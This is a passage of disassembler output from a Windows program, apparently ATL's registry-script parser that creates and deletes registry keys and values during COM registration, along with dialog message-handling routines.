		test	ebp, ebp
		jz	loc_40426B


loc_404181:				; CODE XREF: sub_404100+77j
		push	edi
		mov	ecx, ebx
		call	sub_401810
		mov	esi, eax
		test	esi, esi
		jl	loc_4046A7
		mov	eax, [esp+22Ch+arg_8]
		xor	esi, esi
		cmp	eax, esi
		jz	loc_40426D
		mov	cl, [edi]
		test	cl, cl
		mov	[esp+22Ch+var_214], esi
		mov	eax, edi
		jz	short loc_4041CC


loc_4041B0:				; CODE XREF: sub_404100+C0j
		cmp	cl, 5Ch
		jz	short loc_4041C4
		push	eax
		call	ds:dword_40F230	; CharNextA
		mov	cl, [eax]
		test	cl, cl
		jnz	short loc_4041B0
		jmp	short loc_4041CC
; ---------------------------------------------------------------------------


loc_4041C4:				; CODE XREF: sub_404100+B3j
		cmp	eax, esi
		jnz	loc_4046C5


loc_4041CC:				; CODE XREF: sub_404100+AEj
					; sub_404100+C2j
		push	edi
		mov	ecx, ebx
		call	sub_401950
		test	eax, eax
		jz	short loc_4041F1
		mov	ecx, [esp+22Ch+arg_4]
		mov	[esp+22Ch+var_214], ecx
		push	edi
		lea	ecx, [esp+230h+var_214]
		call	sub_401EF0
		mov	[esp+22Ch+var_214], esi


loc_4041F1:				; CODE XREF: sub_404100+D6j
		cmp	ebp, esi
		jz	short loc_40426D
		push	edi
		mov	ecx, ebx
		call	sub_401810
		mov	esi, eax
		test	esi, esi
		jl	loc_4046E9
		push	edi
		mov	ecx, ebx
		call	sub_4019E0
		mov	esi, eax
		test	esi, esi
		jl	loc_4046E9


loc_404219:				; CODE XREF: sub_404100+212j
					; sub_404100+3CBj ...
		cmp	byte ptr [edi],	7Bh
		jnz	short loc_40425D
		push	edi
		call	ds:dword_40F084	; lstrlen
		cmp	eax, 1
		jnz	short loc_40425D
		mov	eax, [esp+22Ch+arg_8]
		mov	ecx, [esp+22Ch+var_218]
		push	0
		push	eax
		push	ecx
		push	edi
		mov	ecx, ebx
		call	sub_404100
		mov	esi, eax
		test	esi, esi
		jl	loc_4046A7
		push	edi
		mov	ecx, ebx
		call	sub_401810
		mov	esi, eax
		test	esi, esi


loc_404257:				; CODE XREF: sub_404100+2A2j
		jl	loc_4046A7


loc_40425D:				; CODE XREF: sub_404100+11Cj
					; sub_404100+128j ...
		cmp	byte ptr [edi],	7Dh
		jnz	loc_404150
		jmp	loc_4046A7
; ---------------------------------------------------------------------------


loc_40426B:				; CODE XREF: sub_404100+7Bj
		xor	esi, esi


loc_40426D:				; CODE XREF: sub_404100+9Ej
					; sub_404100+F3j
		push	offset aNoremove ; "NoRemove"
		push	edi
		call	ds:dword_40F088	; lstrcmpi
		test	eax, eax
		jnz	short loc_404295
		push	edi
		mov	ecx, ebx
		mov	[esp+230h+var_21C], eax
		call	sub_401810
		mov	esi, eax
		test	esi, esi
		jl	loc_4046A7
		xor	esi, esi


loc_404295:				; CODE XREF: sub_404100+17Bj
		push	offset aVal	; "Val"
		push	edi
		call	ds:dword_40F088	; lstrcmpi
		test	eax, eax
		jnz	loc_4043A7
		lea	edx, [esp+22Ch+var_104]
		push	edx
		mov	ecx, ebx
		call	sub_401810
		mov	esi, eax
		test	esi, esi
		jl	loc_4046A7
		push	edi
		mov	ecx, ebx
		call	sub_401810
		mov	esi, eax
		test	esi, esi
		jl	loc_4046A7
		cmp	byte ptr [edi],	3Dh
		jnz	loc_4046CE
		mov	eax, [esp+22Ch+arg_8]
		xor	ebp, ebp
		cmp	eax, ebp
		jz	short loc_404339
		mov	eax, [esp+22Ch+arg_4]
		push	edi
		lea	ecx, [esp+230h+var_104]
		push	ecx
		lea	edx, [esp+234h+var_21C]
		push	edx
		mov	ecx, ebx
		mov	[esp+238h+var_21C], eax
		call	sub_403D70
		mov	esi, eax
		cmp	esi, ebp
		mov	[esp+22Ch+var_21C], ebp
		jge	loc_404219
		lea	ecx, [esp+22Ch+var_21C]
		call	sub_401ED0
		lea	ecx, [esp+22Ch+var_218]
		call	sub_401ED0
		pop	ebp
		pop	edi
		mov	eax, esi
		pop	esi
		pop	ebx
		add	esp, 21Ch
		retn	10h
; ---------------------------------------------------------------------------


loc_404339:				; CODE XREF: sub_404100+1E8j
		cmp	[esp+22Ch+arg_C], ebp
		jnz	short loc_404396
		cmp	[esp+22Ch+var_21C], ebp
		jz	short loc_404396
		mov	eax, [esp+22Ch+arg_4]
		push	20006h
		push	ebp
		push	eax
		lea	ecx, [esp+238h+var_21C]
		mov	[esp+238h+var_21C], ebp
		call	sub_4014F0
		cmp	eax, ebp
		jnz	loc_404693
		mov	esi, [esp+22Ch+var_21C]
		lea	ecx, [esp+22Ch+var_104]
		push	ecx
		push	esi
		call	ds:dword_40F004	; RegDeleteValueA
		cmp	eax, ebp
		jz	short loc_40438B
		cmp	eax, 2
		jnz	loc_404693


loc_40438B:				; CODE XREF: sub_404100+280j
		cmp	esi, ebp
		jz	short loc_404396
		push	esi
		call	ds:dword_40F020	; RegCloseKey


loc_404396:				; CODE XREF: sub_404100+240j
					; sub_404100+246j ...
		push	edi
		mov	ecx, ebx
		call	sub_4019E0
		mov	esi, eax
		cmp	esi, ebp
		jmp	loc_404257
; ---------------------------------------------------------------------------


loc_4043A7:				; CODE XREF: sub_404100+1A3j
		mov	cl, [edi]
		test	cl, cl
		mov	eax, edi
		jz	short loc_4043CC
		nop


loc_4043B0:				; CODE XREF: sub_404100+2C0j
		cmp	cl, 5Ch
		jz	short loc_4043C4
		push	eax
		call	ds:dword_40F230	; CharNextA
		mov	cl, [eax]
		test	cl, cl
		jnz	short loc_4043B0
		jmp	short loc_4043CC
; ---------------------------------------------------------------------------


loc_4043C4:				; CODE XREF: sub_404100+2B3j
		cmp	eax, esi
		jnz	loc_4046CE


loc_4043CC:				; CODE XREF: sub_404100+2ADj
					; sub_404100+2C2j
		cmp	[esp+22Ch+arg_8], esi
		jz	loc_4044EF
		mov	eax, [esp+22Ch+arg_4]
		lea	edx, [esp+22Ch+var_21C]
		push	edx
		push	2001Fh
		push	esi
		push	edi
		push	eax
		mov	[esp+240h+var_21C], esi
		call	ds:dword_40F00C	; RegOpenKeyExA
		cmp	eax, esi
		jnz	short loc_40441E
		mov	ecx, [esp+22Ch+var_218]
		xor	eax, eax
		cmp	ecx, esi
		jz	short loc_40440C
		push	ecx
		call	ds:dword_40F020	; RegCloseKey


loc_40440C:				; CODE XREF: sub_404100+303j
		cmp	eax, esi
		mov	ecx, [esp+22Ch+var_21C]
		mov	[esp+22Ch+var_218], ecx
		jz	loc_4044B6
		xor	esi, esi


loc_40441E:				; CODE XREF: sub_404100+2F9j
		mov	eax, [esp+22Ch+arg_4]
		lea	edx, [esp+22Ch+var_21C]
		push	edx
		push	20019h
		push	esi
		push	edi
		push	eax
		mov	[esp+240h+var_21C], esi
		call	ds:dword_40F00C	; RegOpenKeyExA
		cmp	eax, esi
		jnz	short loc_40445D
		mov	ecx, [esp+22Ch+var_218]
		xor	eax, eax
		cmp	ecx, esi
		jz	short loc_404451
		push	ecx
		call	ds:dword_40F020	; RegCloseKey


loc_404451:				; CODE XREF: sub_404100+348j
		cmp	eax, esi
		mov	ecx, [esp+22Ch+var_21C]
		mov	[esp+22Ch+var_218], ecx
		jz	short loc_4044B6


loc_40445D:				; CODE XREF: sub_404100+33Ej
		mov	ecx, [esp+22Ch+arg_4]
		lea	edx, [esp+22Ch+var_20C]
		push	edx
		lea	eax, [esp+230h+var_21C]
		push	eax
		push	0
		push	2001Fh
		push	0
		push	0
		push	0
		push	edi
		push	ecx
		mov	[esp+250h+var_21C], 0
		call	ds:dword_40F000	; RegCreateKeyExA
		mov	esi, eax
		test	esi, esi
		jnz	loc_4046EF
		mov	ecx, [esp+22Ch+var_218]
		test	ecx, ecx
		jz	short loc_4044A4
		push	ecx
		call	ds:dword_40F020	; RegCloseKey


loc_4044A4:				; CODE XREF: sub_404100+39Bj
		test	eax, eax
		mov	edx, [esp+22Ch+var_21C]
		mov	esi, eax
		mov	[esp+22Ch+var_218], edx
		jnz	loc_4046EF


loc_4044B6:				; CODE XREF: sub_404100+316j
					; sub_404100+35Bj
		push	edi
		mov	ecx, ebx
		call	sub_401810
		mov	esi, eax
		test	esi, esi
		jl	loc_4046A7
		cmp	byte ptr [edi],	3Dh
		jnz	loc_404219
		push	edi
		push	0
		lea	eax, [esp+234h+var_218]
		push	eax
		mov	ecx, ebx
		call	sub_403D70
		mov	esi, eax
		test	esi, esi
		jl	loc_4046A7
		jmp	loc_404219
; ---------------------------------------------------------------------------


loc_4044EF:				; CODE XREF: sub_404100+2D3j
		cmp	[esp+22Ch+arg_C], esi
		jnz	loc_4045F2
		mov	edx, [esp+22Ch+arg_4]
		lea	ecx, [esp+22Ch+var_214]
		push	ecx
		push	20019h
		push	esi
		push	edi
		push	edx
		mov	[esp+240h+var_214], esi
		call	ds:dword_40F00C	; RegOpenKeyExA
		cmp	eax, esi
		jnz	short loc_404537
		mov	ecx, [esp+22Ch+var_218]
		xor	eax, eax
		cmp	ecx, esi
		jz	short loc_40452F
		push	ecx
		call	ds:dword_40F020	; RegCloseKey


loc_40452F:				; CODE XREF: sub_404100+426j
		mov	ecx, [esp+22Ch+var_214]
		mov	[esp+22Ch+var_218], ecx


loc_404537:				; CODE XREF: sub_404100+41Cj
		cmp	eax, esi
		mov	ebp, eax
		jz	short loc_404548


loc_40453D:				; CODE XREF: sub_404100+4F7j
		mov	[esp+22Ch+arg_C], 1


loc_404548:				; CODE XREF: sub_404100+43Bj
		push	104h
		push	edi
		lea	edx, [esp+234h+var_208]
		push	edx
		call	ds:dword_40F09C	; lstrcpyn
		push	edi
		mov	ecx, ebx
		call	sub_401810
		mov	esi, eax
		test	esi, esi
		jl	loc_4046A7
		push	edi
		mov	ecx, ebx
		call	sub_4019E0
		mov	esi, eax
		test	esi, esi
		jl	loc_4046A7
		cmp	byte ptr [edi],	7Bh
		jnz	short loc_4045C0
		mov	eax, [esp+22Ch+arg_C]
		mov	ecx, [esp+22Ch+var_218]
		push	eax
		push	0
		push	ecx
		push	edi
		mov	ecx, ebx
		call	sub_404100
		mov	esi, eax
		test	esi, esi
		jge	short loc_4045AE
		mov	eax, [esp+22Ch+arg_C]
		test	eax, eax
		jz	loc_4046A7


loc_4045AE:				; CODE XREF: sub_404100+49Dj
		push	edi
		mov	ecx, ebx
		call	sub_401810
		mov	esi, eax
		test	esi, esi
		jl	loc_4046A7


loc_4045C0:				; CODE XREF: sub_404100+480j
		cmp	ebp, 2
		mov	edx, [esp+22Ch+var_210]
		mov	[esp+22Ch+arg_C], edx
		jz	loc_40425D
		test	ebp, ebp
		mov	eax, edx
		jz	short loc_4045FC
		test	eax, eax
		jnz	loc_40425D
		push	ebp
		call	sub_401400
		add	esp, 4
		mov	esi, eax
		jmp	loc_4046A7
; ---------------------------------------------------------------------------


loc_4045F2:				; CODE XREF: sub_404100+3F6j
		mov	ebp, 2
		jmp	loc_40453D
; ---------------------------------------------------------------------------


loc_4045FC:				; CODE XREF: sub_404100+4D8j
		test	eax, eax
		jz	short loc_404643
		mov	eax, [esp+22Ch+var_218]
		push	eax
		mov	ecx, ebx
		call	sub_401990
		test	eax, eax
		jz	short loc_404643
		lea	ecx, [esp+22Ch+var_208]
		push	ecx
		mov	ecx, ebx
		call	sub_401950
		test	eax, eax
		jz	loc_40425D
		mov	eax, [esp+22Ch+var_21C]
		test	eax, eax
		jz	loc_40425D
		lea	edx, [esp+22Ch+var_208]
		push	edx
		lea	ecx, [esp+230h+var_218]
		call	sub_401EF0
		jmp	loc_40425D
; ---------------------------------------------------------------------------


loc_404643:				; CODE XREF: sub_404100+4FEj
					; sub_404100+50Ej
		mov	eax, [esp+22Ch+var_218]
		test	eax, eax
		jz	short loc_404664
		push	eax
		call	ds:dword_40F020	; RegCloseKey
		mov	ebp, eax
		test	ebp, ebp
		mov	[esp+22Ch+var_218], 0
		jnz	loc_40470E


loc_404664:				; CODE XREF: sub_404100+549j
		mov	eax, [esp+22Ch+var_21C]
		test	eax, eax
		jz	loc_40425D
		mov	edx, [esp+22Ch+arg_4]
		lea	ecx, [esp+22Ch+var_208]
		push	ecx
		push	edx
		call	ds:dword_40F008	; RegDeleteKeyA
		test	eax, eax
		mov	[esp+22Ch+var_21C], 0
		jz	loc_40425D


loc_404693:				; CODE XREF: sub_404100+265j
					; sub_404100+285j
		push	eax
		call	sub_401400
		add	esp, 4
		mov	esi, eax
		lea	ecx, [esp+22Ch+var_21C]


loc_4046A2:				; CODE XREF: sub_404100+5EDj
		call	sub_401ED0


loc_4046A7:				; CODE XREF: sub_404100+8Dj
					; sub_404100+145j ...
		mov	eax, [esp+22Ch+var_218]
		test	eax, eax
		jz	short loc_4046B6
		push	eax
		call	ds:dword_40F020	; RegCloseKey


loc_4046B6:				; CODE XREF: sub_404100+41j
					; sub_404100+5ADj
		pop	ebp
		pop	edi
		mov	eax, esi
		pop	esi
		pop	ebx
		add	esp, 21Ch
		retn	10h
; ---------------------------------------------------------------------------


loc_4046C5:				; CODE XREF: sub_404100+C6j
		lea	ecx, [esp+22Ch+var_214]
		call	sub_401ED0


loc_4046CE:				; CODE XREF: sub_404100+1D7j
					; sub_404100+2C6j
		lea	ecx, [esp+22Ch+var_218]
		call	sub_401ED0
		pop	ebp
		pop	edi
		pop	esi
		mov	eax, 80020009h
		pop	ebx
		add	esp, 21Ch
		retn	10h
; ---------------------------------------------------------------------------


loc_4046E9:				; CODE XREF: sub_404100+101j
					; sub_404100+113j
		lea	ecx, [esp+22Ch+var_214]
		jmp	short loc_4046A2
; ---------------------------------------------------------------------------


loc_4046EF:				; CODE XREF: sub_404100+38Fj
					; sub_404100+3B0j
		lea	ecx, [esp+22Ch+var_218]
		call	sub_401ED0
		push	esi
		call	sub_401400
		add	esp, 4
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 21Ch
		retn	10h
; ---------------------------------------------------------------------------


loc_40470E:				; CODE XREF: sub_404100+55Ej
		lea	ecx, [esp+22Ch+var_218]
		call	sub_401ED0
		push	ebp
		call	sub_401400
		add	esp, 4
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 21Ch
		retn	10h
sub_404100	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_404730	proc near		; CODE XREF: sub_405320+5Cp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		mov	edi, [esp+4+arg_0]
		test	edi, edi
		jnz	short loc_404742
		mov	eax, 80070057h
		pop	edi
		retn	0Ch
; ---------------------------------------------------------------------------


loc_404742:				; CODE XREF: sub_404730+7j
		mov	ecx, [edi+0Ch]
		push	ebx
		push	ebp
		mov	ebp, [edi+8]
		xor	eax, eax
		cmp	ebp, ecx
		push	esi
		jnb	short loc_40479A


loc_404751:				; CODE XREF: sub_404730+64j
		mov	ebx, [ebp+0]
		test	ebx, ebx
		jz	short loc_40478C
		mov	esi, [esp+10h+arg_8]
		test	esi, esi
		jz	short loc_404771
		mov	edi, [ebx]
		mov	ecx, 4
		xor	edx, edx
		repe cmpsd
		mov	edi, [esp+10h+arg_0]
		jnz	short loc_40478C


loc_404771:				; CODE XREF: sub_404730+2Ej
		push	1
		call	dword ptr [ebx+4]
		test	eax, eax
		jl	short loc_4047AD
		push	1
		call	dword ptr [ebx+1Ch]
		push	eax
		mov	eax, [ebx]
		push	eax
		call	sub_402B60
		test	eax, eax
		jl	short loc_4047AD


loc_40478C:				; CODE XREF: sub_404730+26j
					; sub_404730+3Fj
		mov	ecx, [edi+0Ch]
		add	ebp, 4
		cmp	ebp, ecx
		jb	short loc_404751
		test	eax, eax
		jl	short loc_4047AD


loc_40479A:				; CODE XREF: sub_404730+1Fj
		mov	ecx, [esp+10h+arg_4]
		test	ecx, ecx
		jz	short loc_4047AD
		mov	ecx, [edi+4]
		push	0
		push	ecx
		call	sub_402A90


loc_4047AD:				; CODE XREF: sub_404730+48j
					; sub_404730+5Aj ...
		pop	esi
		pop	ebp
		pop	ebx
		pop	edi
		retn	0Ch
sub_404730	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4047C0	proc near		; CODE XREF: sub_4053B0+6Bp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		mov	edi, [esp+4+arg_0]
		test	edi, edi
		jnz	short loc_4047D2
		mov	eax, 80070057h
		pop	edi
		retn	0Ch
; ---------------------------------------------------------------------------


loc_4047D2:				; CODE XREF: sub_4047C0+7j
		mov	ecx, [edi+0Ch]
		push	ebx
		push	ebp
		mov	ebp, [edi+8]
		xor	eax, eax
		cmp	ebp, ecx
		push	esi
		jnb	short loc_40482A


loc_4047E1:				; CODE XREF: sub_4047C0+64j
		mov	ebx, [ebp+0]
		test	ebx, ebx
		jz	short loc_40481C
		mov	esi, [esp+10h+arg_8]
		test	esi, esi
		jz	short loc_404801
		mov	edi, [ebx]
		mov	ecx, 4
		xor	edx, edx
		repe cmpsd
		mov	edi, [esp+10h+arg_0]
		jnz	short loc_40481C


loc_404801:				; CODE XREF: sub_4047C0+2Ej
		push	0
		call	dword ptr [ebx+1Ch]
		push	eax
		mov	eax, [ebx]
		push	eax
		call	sub_402B60
		test	eax, eax
		jl	short loc_40483D
		push	0
		call	dword ptr [ebx+4]
		test	eax, eax
		jl	short loc_40483D


loc_40481C:				; CODE XREF: sub_4047C0+26j
					; sub_4047C0+3Fj
		mov	ecx, [edi+0Ch]
		add	ebp, 4
		cmp	ebp, ecx
		jb	short loc_4047E1
		test	eax, eax
		jl	short loc_40483D


loc_40482A:				; CODE XREF: sub_4047C0+1Fj
		mov	ecx, [esp+10h+arg_4]
		test	ecx, ecx
		jz	short loc_40483D
		mov	ecx, [edi+4]
		push	0
		push	ecx
		call	sub_4029F0


loc_40483D:				; CODE XREF: sub_4047C0+51j
					; sub_4047C0+5Aj ...
		pop	esi
		pop	ebp
		pop	ebx
		pop	edi
		retn	0Ch
sub_4047C0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_404850	proc near		; CODE XREF: WinMain(x,x,x,x)+16Ap

arg_0		= dword	ptr  4

		push	ebx
		xor	ebx, ebx
		push	esi
		mov	esi, ecx
		mov	[esi+4], ebx
		mov	[esi+14h], ebx
		lea	ecx, [esi+24h]
		mov	[esi+18h], ebx
		mov	[esi+1Ch], ebx
		mov	dword ptr [esi], offset	off_40F66C
		call	sub_409050
		mov	eax, [esp+8+arg_0]
		mov	[esi+20h], eax
		mov	[esi+60h], ebx
		mov	[esi+50h], bl
		mov	eax, esi
		pop	esi
		pop	ebx
		retn	4
sub_404850	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_404890	proc near		; DATA XREF: .rdata:off_40F66Co

arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= dword	ptr  14h
arg_14		= dword	ptr  18h

		mov	eax, [esp+arg_14]
		test	eax, eax
		push	esi
		jnz	loc_4049F3
		mov	eax, [esp+4+arg_4]
		cmp	eax, 110h
		jnz	short loc_4048CF
		mov	edx, [esp+4+arg_C]
		lea	eax, [esp+4+arg_14]
		push	eax
		mov	eax, [esp+8+arg_8]
		push	edx
		push	eax
		mov	esi, 1
		push	110h
		mov	[esp+14h+arg_14], esi
		call	sub_407D40
		jmp	loc_4049DF
; ---------------------------------------------------------------------------


loc_4048CF:				; CODE XREF: sub_404890+16j
		cmp	eax, 111h
		jnz	short loc_404901
		mov	eax, [esp+4+arg_8]
		mov	esi, 1
		cmp	ax, si
		jnz	short loc_40492A
		lea	edx, [esp+4+arg_14]
		push	edx
		mov	edx, [esp+8+arg_C]
		push	edx
		push	esi
		shr	eax, 10h
		push	eax
		mov	[esp+14h+arg_14], esi
		call	sub_406110
		jmp	loc_4049DF
; ---------------------------------------------------------------------------


loc_404901:				; CODE XREF: sub_404890+44j
		cmp	eax, 10h
		jnz	short loc_40495A
		mov	eax, [esp+4+arg_C]
		lea	edx, [esp+4+arg_14]
		push	edx
		mov	edx, [esp+8+arg_8]
		push	eax
		push	edx
		mov	esi, 1
		push	10h
		mov	[esp+14h+arg_14], esi
		call	sub_405EB0
		jmp	loc_4049DF
; ---------------------------------------------------------------------------


loc_40492A:				; CODE XREF: sub_404890+52j
		cmp	ax, 0C9h
		jnz	short loc_404989
		shr	eax, 10h
		cmp	ax, si
		jnz	loc_4049F3
		mov	eax, [esp+4+arg_C]
		lea	edx, [esp+4+arg_14]
		push	edx
		push	eax
		push	0C9h
		push	esi
		mov	[esp+14h+arg_14], esi
		call	sub_405F00
		jmp	loc_4049DF
; ---------------------------------------------------------------------------


loc_40495A:				; CODE XREF: sub_404890+74j
		cmp	eax, 113h
		jnz	loc_4049F3
		mov	eax, [esp+4+arg_C]
		lea	edx, [esp+4+arg_14]
		push	edx
		mov	edx, [esp+8+arg_8]
		push	eax
		push	edx
		mov	esi, 1
		push	113h
		mov	[esp+14h+arg_14], esi
		call	sub_408350
		jmp	short loc_4049DF
; ---------------------------------------------------------------------------


loc_404989:				; CODE XREF: sub_404890+9Ej
		cmp	ax, 0CEh
		jnz	short loc_4049B7
		shr	eax, 10h
		cmp	ax, 400h
		jnz	short loc_4049F3
		mov	eax, [esp+4+arg_C]
		lea	edx, [esp+4+arg_14]
		push	edx
		push	eax
		push	0CEh
		push	400h
		mov	[esp+14h+arg_14], esi
		call	sub_407AA0
		jmp	short loc_4049DF
; ---------------------------------------------------------------------------


loc_4049B7:				; CODE XREF: sub_404890+FDj
		cmp	ax, 0D1h
		jnz	short loc_4049F3
		shr	eax, 10h
		test	ax, ax
		jnz	short loc_4049F3
		mov	eax, [esp+4+arg_C]
		lea	edx, [esp+4+arg_14]
		push	edx
		push	eax
		push	0D1h
		push	0
		mov	[esp+14h+arg_14], esi
		call	sub_406200


loc_4049DF:				; CODE XREF: sub_404890+3Aj
					; sub_404890+6Cj ...
		mov	ecx, [esp+4+arg_10]
		mov	[ecx], eax
		mov	eax, [esp+4+arg_14]
		test	eax, eax
		jz	short loc_4049F3
		mov	eax, esi
		pop	esi
		retn	18h
; ---------------------------------------------------------------------------


loc_4049F3:				; CODE XREF: sub_404890+7j
					; sub_404890+A6j ...
		xor	eax, eax
		pop	esi
		retn	18h
sub_404890	endp

; ---------------------------------------------------------------------------
		align 10h
; [00000003 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_404A10	proc near		; DATA XREF: .rdata:0040F674o
		mov	eax, offset sub_404A20
		retn
sub_404A10	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_404A20	proc near		; DATA XREF: sub_404A10o

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		sub	esp, 24h
		mov	edx, [esp+24h+arg_C]
		mov	ecx, [esp+24h+arg_8]
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+30h+arg_0]
		mov	ebp, [esi+18h]
		mov	eax, [esi+4]
		push	edi
		mov	edi, [esp+34h+arg_4]
		xor	ebx, ebx
		push	ebx
		mov	[esp+38h+var_14], ebx
		mov	[esp+38h+var_C], ebx
		mov	[esp+38h+var_10], ebx
		lea	ebx, [esp+38h+arg_0]
		push	ebx
		push	edx
		push	ecx
		mov	[esp+44h+arg_4], ebp
		lea	ebp, [esp+44h+var_24]
		push	edi
		mov	[esp+48h+var_1C], ecx
		mov	[esi+18h], ebp
		mov	ebp, [esi]
		push	eax
		mov	ecx, esi
		mov	[esp+4Ch+var_8], 24h
		mov	[esp+4Ch+var_4], 1
		mov	[esp+4Ch+var_24], eax
		mov	[esp+4Ch+var_20], edi
		mov	[esp+4Ch+var_18], edx
		call	dword ptr [ebp+0]
		mov	ebx, eax
		test	ebx, ebx
		mov	eax, [esp+34h+arg_4]
		mov	[esi+18h], eax
		jz	short loc_404ADB
		cmp	edi, 39h
		ja	short loc_404AB0
		jz	short loc_404AAA
		cmp	edi, 2Eh
		jb	short loc_404AC8
		cmp	edi, 2Fh
		jbe	short loc_404AAA
		cmp	edi, 37h
		jnz	short loc_404AC8


loc_404AAA:				; CODE XREF: sub_404A20+79j
					; sub_404A20+83j ...
		mov	ebx, [esp+34h+arg_0]
		jmp	short loc_404AE7
; ---------------------------------------------------------------------------


loc_404AB0:				; CODE XREF: sub_404A20+77j
		cmp	edi, 110h
		jz	short loc_404AAA
		cmp	edi, 131h
		jbe	short loc_404AC8
		cmp	edi, 138h
		jbe	short loc_404AAA


loc_404AC8:				; CODE XREF: sub_404A20+7Ej
					; sub_404A20+88j ...
		mov	ecx, [esp+34h+arg_0]
		mov	edx, [esi+4]
		push	ecx
		push	0
		push	edx
		call	ds:dword_40F22C	; SetWindowLongA
		jmp	short loc_404AE7
; ---------------------------------------------------------------------------


loc_404ADB:				; CODE XREF: sub_404A20+72j
		cmp	edi, 82h
		jnz	short loc_404AE7
		or	dword ptr [esi+1Ch], 1


loc_404AE7:				; CODE XREF: sub_404A20+8Ej
					; sub_404A20+B9j ...
		mov	eax, [esi+1Ch]
		test	al, 1
		jz	short loc_404B0D
		mov	ecx, [esi+18h]
		test	ecx, ecx
		jnz	short loc_404B0D
		mov	ecx, [esi+4]
		and	eax, 0FFFFFFFEh
		mov	[esi+1Ch], eax
		mov	eax, [esi]
		push	ecx
		mov	ecx, esi
		mov	dword ptr [esi+4], 0
		call	dword ptr [eax+0Ch]


loc_404B0D:				; CODE XREF: sub_404A20+CCj
					; sub_404A20+D3j
		pop	edi
		pop	esi
		pop	ebp
		mov	eax, ebx
		pop	ebx
		add	esp, 24h
		retn	10h
sub_404A20	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================


; int __thiscall sub_404B20(void *Memory,char)

sub_404B20	proc near		; DATA XREF: .rdata:0040F670o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		lea	ecx, [esi+24h]
		mov	dword ptr [esi], offset	off_40F66C
		call	sub_408910
		mov	ecx, esi
		call	sub_403030
		test	[esp+4+arg_0], 1
		jz	short loc_404B48
		push	esi		; Memory
		call	j__free
		add	esp, 4


loc_404B48:				; CODE XREF: sub_404B20+1Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_404B20	endp

; ---------------------------------------------------------------------------
		align 10h


loc_404B50:				; DATA XREF: WinMain(x,x,x,x)+19Fo
		push	esi
		push	edi
		push	offset dword_412044
		call	sub_402EC0
		mov	edi, [esp+0Ch]
		mov	esi, eax
		mov	eax, [esi]
		push	esi
		mov	ecx, esi
		mov	[esi+4], edi
		call	dword ptr [eax+8]
		push	eax
		lea	ecx, [esi+8]
		call	sub_401C00
		mov	esi, [esi+14h]
		push	esi
		push	4
		push	edi
		call	ds:dword_40F22C	; SetWindowLongA
		mov	ecx, [esp+18h]
		mov	edx, [esp+14h]
		mov	eax, [esp+10h]
		push	ecx
		push	edx
		push	eax
		push	edi
		call	esi	; lstrcmpi
		pop	edi
		pop	esi
		retn	10h
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_404BA0	proc near		; CODE XREF: sub_404CD0+198p

var_1004	= dword	ptr -1004h
var_1000	= byte ptr -1000h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, 1004h
		call	__alloca_probe
		push	esi
		push	edi
		mov	edi, ecx
		mov	ecx, [esp+100Ch+arg_0]
		lea	eax, [esp+100Ch+var_1004]
		push	eax
		push	ecx
		mov	ecx, edi
		mov	[esp+1014h+var_1004], 0
		call	sub_4025B0
		mov	esi, eax
		test	esi, esi
		jl	loc_404C8B
		mov	eax, [esp+100Ch+var_1004]
		mov	[edi], eax
		cmp	byte ptr [eax],	0
		jz	loc_404C80
		push	ebx
		push	ebp


loc_404BE5:				; CODE XREF: sub_404BA0+119j
		lea	edx, [esp+1014h+var_1000]
		push	edx
		mov	ecx, edi
		call	sub_401810
		mov	esi, eax
		test	esi, esi
		jl	loc_404C7E
		xor	esi, esi
		lea	ecx, [ecx+0]


loc_404C00:				; CODE XREF: sub_404BA0+7Bj
		mov	eax, ds:off_40F498[esi*8]
		push	eax
		lea	ecx, [esp+1018h+var_1000]
		push	ecx
		call	ds:dword_40F088	; lstrcmpi
		test	eax, eax
		jz	short loc_404C24
		inc	esi
		cmp	esi, 0Eh
		jb	short loc_404C00


loc_404C1D:				; CODE XREF: sub_404BA0+8Dj
					; sub_404BA0+A6j
		mov	esi, 80020009h
		jmp	short loc_404C7E
; ---------------------------------------------------------------------------


loc_404C24:				; CODE XREF: sub_404BA0+75j
		mov	ebp, ds:dword_40F49C[esi*8]
		test	ebp, ebp
		jz	short loc_404C1D
		lea	edx, [esp+1014h+var_1000]
		push	edx
		mov	ecx, edi
		call	sub_401810
		mov	esi, eax
		test	esi, esi
		jl	short loc_404C7E
		cmp	[esp+1014h+var_1000], 7Bh
		jnz	short loc_404C1D
		mov	eax, [esp+1014h+arg_4]
		test	eax, eax
		push	0
		jz	short loc_404C98
		mov	ebx, [edi]
		push	eax
		push	ebp
		lea	eax, [esp+1020h+var_1000]
		push	eax
		mov	ecx, edi
		call	sub_404100
		mov	esi, eax
		test	esi, esi
		jge	short loc_404CAD
		push	0
		push	0
		push	ebp
		lea	eax, [esp+1020h+var_1000]
